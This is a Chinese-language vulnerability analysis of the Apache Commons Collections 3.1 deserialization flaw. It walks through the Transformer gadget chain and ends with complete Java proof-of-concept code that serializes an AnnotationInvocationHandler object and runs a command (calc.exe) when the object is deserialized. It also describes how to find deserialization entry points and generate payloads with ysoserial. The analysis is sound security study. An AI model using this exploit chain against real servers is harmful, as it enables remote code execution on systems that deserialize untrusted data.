首頁  >  文章  >  運維  >  Apache Commons Collections反序列化漏洞的範例分析

Apache Commons Collections反序列化漏洞的範例分析

王林
王林轉載
2023-05-17 15:10:341824瀏覽

一、簡介

雖然這個元件的反序列​​化漏洞已經被很多文章進行了分析,但是這裡還是要記錄一下。畢竟,這對Java反序列化漏洞的發展意義重大。

Apache Commons Collections是Java應用程式開發中一個非常常用的工具庫,它增加了許多強大的資料結構,簡化了Java應用程式的開發,已經成為Java處理集合資料的公認標準。像是許多常見的應用程式如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具庫,當工具庫出現反序列化漏洞時,這些應用程式也受到了影響,這也是反序列化漏洞如此嚴重的原因。

二、測試環境

jdk1.7.0_21 commons-collections-3.1.jar

Apache Commons Collections元件歷史版本下載位址:http: //archive.apache.org/dist/commons/collections/binaries/,或使用maven依賴:



commons-collections
commons-collectionscommons-collections

#在Java反序列化漏洞利用工具ysoserial(https://github.com/frohoff/ysoserial)中已經整合了這個元件的漏洞利用payload;在滲透測試的時候,只需按照Java序列化資料的特徵(以十六進位aced或base64編碼格式的rO0AB開頭的資料)尋找Java反序列化的入口點,並根據Web應用猜測可能存在CommonsCollections組件,則可以直接使用ysoserial工具直接產生payload進行漏洞。

Apache Commons Collections反序列化漏洞的示例分析

三、漏洞分析

這裡分析利用Transformer介面以及實作該介面的幾個類別建構的程式碼執行漏洞利用鏈。

Transformer介面

Transformer介面的定義十分簡單,只定義了一個transform()方法,根據文件說明,該方法主要用於物件轉換。實作此介面的類別還蠻多的,這裡主要利用以下3個實作類別:ConstantTransformer、InvokerTransformer和ChainedTransformer。

package org.apache.commons.collections;

public interface Transformer {
    //对象转换
    public Object transform(Object input);
}
ChainedTransformer類別

ChainedTransformer類別定義了一個Transformer[]數組,並且在實作transform()方法的時候透過依次遍歷該數組元素,並呼叫數組元素對應的Transformer實現類別的transform()方法,將多個Transformer物件串起來。

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    ...
        
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

    ...
}
InvokerTransformer類別

InvokerTransformer類別的transform()方法主要透過反射機制呼叫傳入參數物件的某個方法,只需在建構InvokerTransformer物件的時候設定方法名稱、參數類型和參數值即可。

public class InvokerTransformer implements Transformer, Serializable {
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    ...

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //简化后的transform()方法,通过反射机制调用对象的方法
    public Object transform(Object input) {
        ...
        
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
                
        ...  
    }
}
ConstantTransformer類別

ConstantTransformer類別十分簡單,直接傳回傳入物件。

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    ...

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
        return iConstant;
    }

    ...
}
鑑於前面所述情況,我們旨在實作程式碼Runtime.getRuntime().exec()的執行。顯然,我們需要使用InvokerTransformer類別的transform()方法進行反射呼叫的實作。如下所示,這裡就是程式碼執行的來源:

package orz.vuln.poc;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
        //通过InvokeTransformer类反射调用Runtime代码
		InvokerTransformer invoker1 = new InvokerTransformer("getMethod", 
				new Class[] {String.class, Class[].class}, 
				new Object[] {"getRuntime", null});
		InvokerTransformer invoker2 = new InvokerTransformer("invoke", 
				new Class[] {Object.class, Object[].class}, 
				new Object[] {null, null});
		InvokerTransformer invoker3 = new InvokerTransformer("exec", 
				new Class[] {String.class}, 
				new Object[] {"calc.exe"});
		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));
		
		/*正常反射调用Runtime代码
		Class clazz = Runtime.class;
		Method m1 = clazz.getMethod("getRuntime", null);
		Method m2 = clazz.getMethod("exec", String.class);
		m2.invoke(m1.invoke(clazz, null), "calc.exe");
		*/
	}
}
更進一步,我們發現可以藉助ChainedTransformer類別中的transform()方法取代invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class ))),即將上述多個InvokerTransformer物件初始化為Transformer[]數組,並且用Runtime.class初始化ConstantTransformer類別對象,這樣,就能建構出一條使用任意對象即可觸發程式碼執行的Transformer呼叫鏈:

package orz.vuln.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform("foo");
	}
}
接下來,我們希望透過反序列化觸發來呼叫Transformer物件transform()方法,達到程式碼執行的目的。

TransformedMap類別

Apache Commons Collections中定義了一個TransformedMap類別用來對Map進行某種變換,該類別透過呼叫decorate()方法進行實例化,如下所示:

Apache Commons Collections反序列化漏洞的示例分析

並且在該類別中還有個checkSetValue()方法,在該方法中實作了呼叫Transformer物件的transform()方法;根據該方法描述,checkSetValue()方法將在setValue()方法呼叫的時候被呼叫:

Apache Commons Collections反序列化漏洞的示例分析

因此,我們的思路是透過利用Map對象和建構的惡意Transformer對像初始化TransformedMap對象,再呼叫setValue ()方法修改Map物件的值,程式碼如下:

package orz.vuln.poc;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("foo", "bar");
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		entry.setValue("test");
	}
}
繼續尋找透過反序列化觸發setValue()方法執行的地方,最後在AnnotationInvocationHandler類別的readObject()方法中找到了。

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示:

Apache Commons Collections反序列化漏洞的示例分析

由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件

Apache Commons Collections反序列化漏洞的示例分析

根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。

Apache Commons Collections反序列化漏洞的示例分析

最终,完整漏洞利用代码如下:

package orz.vuln.poc;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		//entry.setValue("test");
		
		Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
		ctor.setAccessible(true);
		Object instance = ctor.newInstance(Target.class, transformedMap);
		
		FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");
		ObjectOutputStream oos = new ObjectOutputStream(fos);
		oos.writeObject(instance);
		oos.close();
		fos.close();
		
		FileInputStream fis = new FileInputStream("D:/commonscollections.ser");
		ObjectInputStream ois = new ObjectInputStream(fis);
		ois.readObject();
		ois.close();
		fis.close();
	}
}

以上是Apache Commons Collections反序列化漏洞的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除